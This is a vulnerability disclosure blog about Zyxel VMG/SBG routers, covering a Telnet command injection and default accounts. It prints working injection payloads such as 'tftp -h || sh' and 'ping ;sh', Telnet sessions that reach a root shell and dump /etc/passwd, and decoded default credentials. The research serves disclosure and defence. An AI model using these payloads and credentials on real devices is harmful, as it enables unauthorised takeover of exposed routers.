Introduction
VulnCheck independently discovered vulnerabilities affecting Zyxel Customer Premises Equipment (CPE) after running into the hardware in the real world. The combination of the vulnerabilities allows for unauthenticated code execution via Telnet. A week ago, our friends at GreyNoise blogged about attackers actively using these vulnerabilities against their honeypot network, and the associated tag continues to flag ongoing activity. We believe, but have not received confirmation from the vendor, that at least the following Zyxel CPE routers are affected:
- VMG1312-B10A
- VMG1312-B10B
- VMG1312-B10E
- VMG3312-B10A
- VMG3313-B10A
- VMG3926-B10B
- VMG4325-B10A
- VMG4380-B10A
- VMG8324-B10A
- VMG8924-B10A
- SBG3300
- SBG3500
We’ve been informed that these affected routers are end-of-life, though not listed on Zyxel’s EOL page. Despite this, both FOFA and Censys identify approximately 1,500 affected systems with internet-facing Telnet interfaces. Additionally, some of these models are still available for purchase through Amazon.
While these systems are older and seemingly long out of support, they remain highly relevant due to their continued use worldwide and the sustained interest from attackers. The fact that attackers are still actively exploiting these routers underscores the need for attention, as understanding real-world attacks is critical to effective security research.
VulnCheck does not have access to all affected models. For the remainder of this blog, all images and exploitation details will be based on our reference device, the VMG4325-B10A, running firmware version 1.00(AAFR.4)C0_20170615
.
CVE-2024-40891: Telnet Authenticated Command Inject
The device’s Telnet command processing is vulnerable to an authenticated command injection when the attacker has access with any user account. This vulnerability has been assigned CVE-2024-40891. Command processing is handled by the libcms_cli.so
library, with most of the work occurring in the cli_processCliCmd
function. This function is responsible for looking up commands and their associated functions within a large command table.
However, some commands do not have built-in functions. For example, the following screenshot shows that the echo
command is handled by FUN_0001b5a8
but there is no function associated with ifconfig
.
Instead, ifconfig
is passed to prctl_runCommandInShellWithTimeout
. This is where the trouble starts, because libcms_cli.so
only verifies that the command starts with ifconfig
before invoking prctl_runCommandInShellWithTimeout
, which is merely a thin wrapper around runCommandInShell
in libcms_util.so
.
The decompiled function above shows that runCommandInShell
has no filtering. As a result, Telnet commands that are passed to prctl_runCommandInShellWithTimeout
are vulnerable to command injection. The affected commands include:
- cat
- ifconfig
- ping
- ps
- pwd
- tftp
- wlctl
Because there is no filtering, the command injection can be executed in multiple ways. For example, the following uses ||
to execute additional commands after forcing tftp
to fail with the -h
flag:
albinolobster@mournland:~$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
Zyxel VMG4325-B10A
Login: zyuser
Password:
> tftp -h || sh
tftp: invalid option -- h
BusyBox v1.17.2 (2017-06-15 12:25:20 CST) multi-call binary.
Usage: tftp [OPTIONS] HOST [PORT]
Transfer a file from/to tftp server
Options:
-l FILE Local FILE
-r FILE Remote FILE
-g Get file
-p Put file
-g -t i -f filename server_ip Get (flash) broadcom or whole image to modem
-g -t c -f filename server_ip Get (flash) config file to modem
-p -t f -f filename server_ip Put (backup) config file to tftpd server
BusyBox v1.17.2 (2017-06-15 12:25:20 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# ls -l
drwxr-xr-x 3 supervis root 0 Jan 1 1970 app
drwxr-xr-x 2 supervis root 0 Jun 15 2017 bin
-rw-r--r-- 1 supervis root 163928 Jun 15 2017 cferam.000
drwxr-xr-x 4 supervis root 0 Jan 1 1970 data
drwxrwxr-x 4 supervis root 0 Jun 15 2017 dev
drwxr-xr-x 10 supervis root 0 Jun 15 2017 etc
drwxr-xr-x 2 supervis root 0 Jan 1 1970 home
drwxrwxr-x 6 supervis root 0 Jun 15 2017 lib
lrwxrwxrwx 1 supervis root 11 Jun 15 2017 linuxrc -> bin/busybox
drwxr-xr-x 2 supervis root 0 Jan 1 1970 log
drwxr-xr-x 2 supervis root 0 Jan 3 20:29 mnt
drwxrwxr-x 5 supervis root 0 Jun 15 2017 opt
dr-xr-xr-x 90 supervis root 0 Jan 1 1970 proc
drwxrwxr-x 2 supervis root 0 Jun 15 2017 sbin
drwxr-xr-x 11 supervis root 0 Jan 1 1970 sys
lrwxrwxrwx 1 supervis root 8 Jun 15 2017 tmp -> /var/tmp
drwxrwxr-x 4 supervis root 0 Jun 15 2017 usr
drwxr-xr-x 14 supervis root 0 Jan 3 22:09 var
-rw-rw-r-- 1 supervis root 1446798 Jun 15 2017 vmlinux.lz
drwxrwxr-x 4 supervis root 0 Jun 15 2017 webs
#
This technique can be repeated against the other affected commands using various combinations of shell metacharacters.
CVE-2025-0890: Default Credentials
By itself, an authenticated command injection has limited value to an attacker—especially over Telnet, which ideally should not be exposed to the internet (though, in reality, millions of devices are). The impact of CVE-2024-40891 depends heavily on an authentication bypass or default credentials. Unfortunately, these affected devices appear to be provisioned with default accounts, all of which can be found in the device’s /etc/default.cfg
file. Here is a snippet from our VMG4325-B10A:
<X_404A03_LoginCfg>
<AdminUserName>supervisor</AdminUserName>
<AdminPassword>enlhZDEyMzQ=</AdminPassword>
<X_404A03_LoginGroupNumberOfEntries>2</X_404A03_LoginGroupNumberOfEntries>
<X_404A03_Login_Group instance="1">
<Privilege>broadband,wireless,homeNetworking,routing,qos,nat,dns,igmpSetting,halfBridge,intfGrp,usbService,firewall,macFilter,parentalControl,schedulerRule,certificates,ipsecVPN,log,trafficStatus,arpTable,routeTable,igmpGroupStatus,xdslStatistics,system,userAccount,remoteMGMT,tr069Client,tr064,time,emailNotification,logSetting,firmwareUpgrade,configuration,reboot,disagnostic,HelpDesk,wizard,sniffer,snmp</Privilege>
<Name>Administrator</Name>
<ConsoleLevel>2</ConsoleLevel>
<Use_Login_Info instance="1">
<UserName>admin</UserName>
<Password>MTIzNAA=</Password>
<LoginFailCount>0</LoginFailCount>
<LoginFailCountLeft>1</LoginFailCountLeft>
</Use_Login_Info>
<Use_Login_Info nextInstance="2" ></Use_Login_Info>
</X_404A03_Login_Group>
<X_404A03_Login_Group instance="2">
<GroupKey>2</GroupKey>
<Privilege>broadband,wireless,homeNetworking,routing,qos,nat,dns,igmpSetting,halfBridge,intfGrp,usbService,firewall,macFilter,parentalControl,schedulerRule,certificates,ipsecVPN,log,trafficStatus,arpTable,routeTable,igmpGroupStatus,xdslStatistics,system,userAccount,remoteMGMT,tr069Client,tr064,time,emailNotification,logSetting,firmwareUpgrade,configuration,reboot,disagnostic,HelpDesk,wizard,sniffer,snmp</Privilege>
<Name>User</Name>
<ConsoleLevel>2</ConsoleLevel>
<Use_Login_Info instance="1">
<UserName>zyuser</UserName>
<Password>MTIzNAA=</Password>
<LoginFailCount>0</LoginFailCount>
<LoginFailCountLeft>1</LoginFailCountLeft>
</Use_Login_Info>
<Use_Login_Info nextInstance="2" ></Use_Login_Info>
</X_404A03_Login_Group>
<X_404A03_Login_Group nextInstance="3" ></X_404A03_Login_Group>
</X_404A03_LoginCfg>
As shown above, the VMG4325-B10A is provisioned with three accounts:
- supervisor:zyad1234
- admin:1234
- zyuser:1234
The supervisor
credentials were previously documented under CVE-2017-18371, but that CVE currently only associates the account with Zyxel P660HN-51 routers. However, we now see this vulnerability extending to the VMG series as well. The functionality of the supervisor
user is poorly documented by CVE-2017-18371, so before proceeding, we’ll take a quick detour to explore it further.
These credentials are not visible via the web interface; notably, the supervisor
account has additional functionality in the Telnet interface. As previously discussed, libcms_cli.so
handles Telnet commands. If the standard cli_processCliCmd
does not recognize a command, it falls back to the aptly named cli_processHiddenCmd
:
cli_processHiddenCmd
handles a list of commands that are not listed in the help
menu and are only available to the supervisor user. While the list of hidden commands is short, it includes several powerful options:
- dumpmem
- ebtables
- iptables
- logread
- setmem
- sh
Notably, the sh
command provides a fully interactive ash
shell, granting the user unrestricted access to the system.
albinolobster@mournland:~/research/misc-exploits$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
Zyxel VMG4325-B10A
Login: supervisor
Password:
> sh
BusyBox v1.17.2 (2017-06-15 12:25:20 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
While supervisor
has hidden privileges and access to undocumented functionality, the provisioned zyuser
is different. It is not a concealed account with secret commands but instead appears to be a secondary user with elevated privileges, despite being fully visible in the user table.
The web interface even prompts for a password change upon logging in as zyuser
, but given the lack of a clear purpose for this redundant account, it's unlikely that many users bother to reset the password. Attackers, however, have certainly taken notice. Our colleagues at GreyNoise have observed activity targeting this account, and notably, its credentials were also used by BrickerBot.
Undocumented, or poorly documented, default accounts with easily guessable passwords that are unlikely to be changed pose a significant security risk. We were unable to find an official manual for the VMG4325-B10A beyond a 2012 version and 2015 release notes, neither of which mention the zyuser account, leaving little to no documentation on its existence.
While it may not be a popular stance, CWE-1392 (Use of Default Credentials) exists for a reason. Given that the zyuser:1234
credentials ultimately enable full remote code execution via CVE-2024-40891, we believe it is reasonable to assign this issue its own identifier: CVE-2025-0890.
To reiterate, the zyuser
account cannot use the hidden sh
command via Telnet. Instead, it can only achieve code execution through the command injection (CVE-2024-40891).
albinolobster@mournland:~$ telnet 192.168.0.1
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
Zyxel VMG4325-B10A
Login: zyuser
Password:
> sh
telnetd:error:694.808:processInput:472:unrecognized command sh
> ping ;sh
BusyBox v1.17.2 (2017-06-15 12:25:20 CST) multi-call binary.
Usage: ping [OPTIONS] HOST
Send ICMP ECHO_REQUEST packets to network hosts
Options:
-4, -6 Force IP or IPv6 name resolution
-c CNT Send only CNT pings
-s SIZE Send SIZE data bytes in packets (default:56)
-I IFACE/IP Use interface or IP address as source
-W SEC Seconds to wait for the first response (default:10)
(after all -c CNT packets are sent)
-w SEC Seconds until ping exits (default:infinite)
(can exit earlier with -c CNT)
-q Quiet, only displays output at start
and when finished
BusyBox v1.17.2 (2017-06-15 12:25:20 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# cat /etc/passwd
supervisor:gNvaS9TkEwk..:0:0:Administrator:/:/bin/sh
nobody:Mm/NWrZmKMrT2:99:99:nobody for ftp:/:/bin/false
admin:d7uXUhqhH7hew:100:0:Administrator:/:/bin/sh
zyuser:hH7gnvw0ISLfg:101:2:User:/:/bin/sh
Overlap with Existing Research
While finalizing this blog, VulnCheck conducted a final search for other work that might overlap with our research. We’ve identified three notable overlaps that align with or reinforce our finds:
- A chunk of the code for the Telnet service has been available on GitHub for 12 years and it even includes the hidden command logic. It’s notable that talented researcher Jang Nguyen (aka testanull, aka @testanull) has a fork of this repository.
- In May 2023, NCCGroup published a blog titled, “NETGEAR Routers: A Playground for Hackers?” in which they describe the authenticated command injection affecting the NETGEAR Nighthawk WiFi 6 Router (RAX30 AX2400). No CVE was assigned.
- In July 2024, Jirka Balhar published a blog titled, “Getting admin shell on a Zyxel gateway” in which they describe using the
admin
account to invoke the hiddensh
command on the Zyxel SBG3300. No CVE was assigned.
Conclusion
The device’s default accounts and command injection vulnerabilities present a serious security risk, especially given their continued exploitation in the wild, as confirmed by GreyNoise. While these devices are aging and supposed to be out of support, thousands remain exposed online. The combination of default credentials and command injection makes them easy targets, highlighting the dangers of insecure default configurations and poor vulnerability transparency. Unsupported does not mean unexploited, and this research underscores the lasting impact of insecure legacy devices.
About VulnCheck
The VulnCheck Initial Access team is always on the lookout for new exploitation in the wild. For more research like this, see our blogs, PaperCut Exploitation, ProjectSend CVE-2024-11680 Exploited in the Wild, Fileless Remote Code Execution on Juniper Firewalls , and Does Confluence Dream of Shells?
Sign up to our website today to get free access to our VulnCheck KEV and request a trial of our Initial Access Intelligence and Exploit & Vulnerability Intelligence products.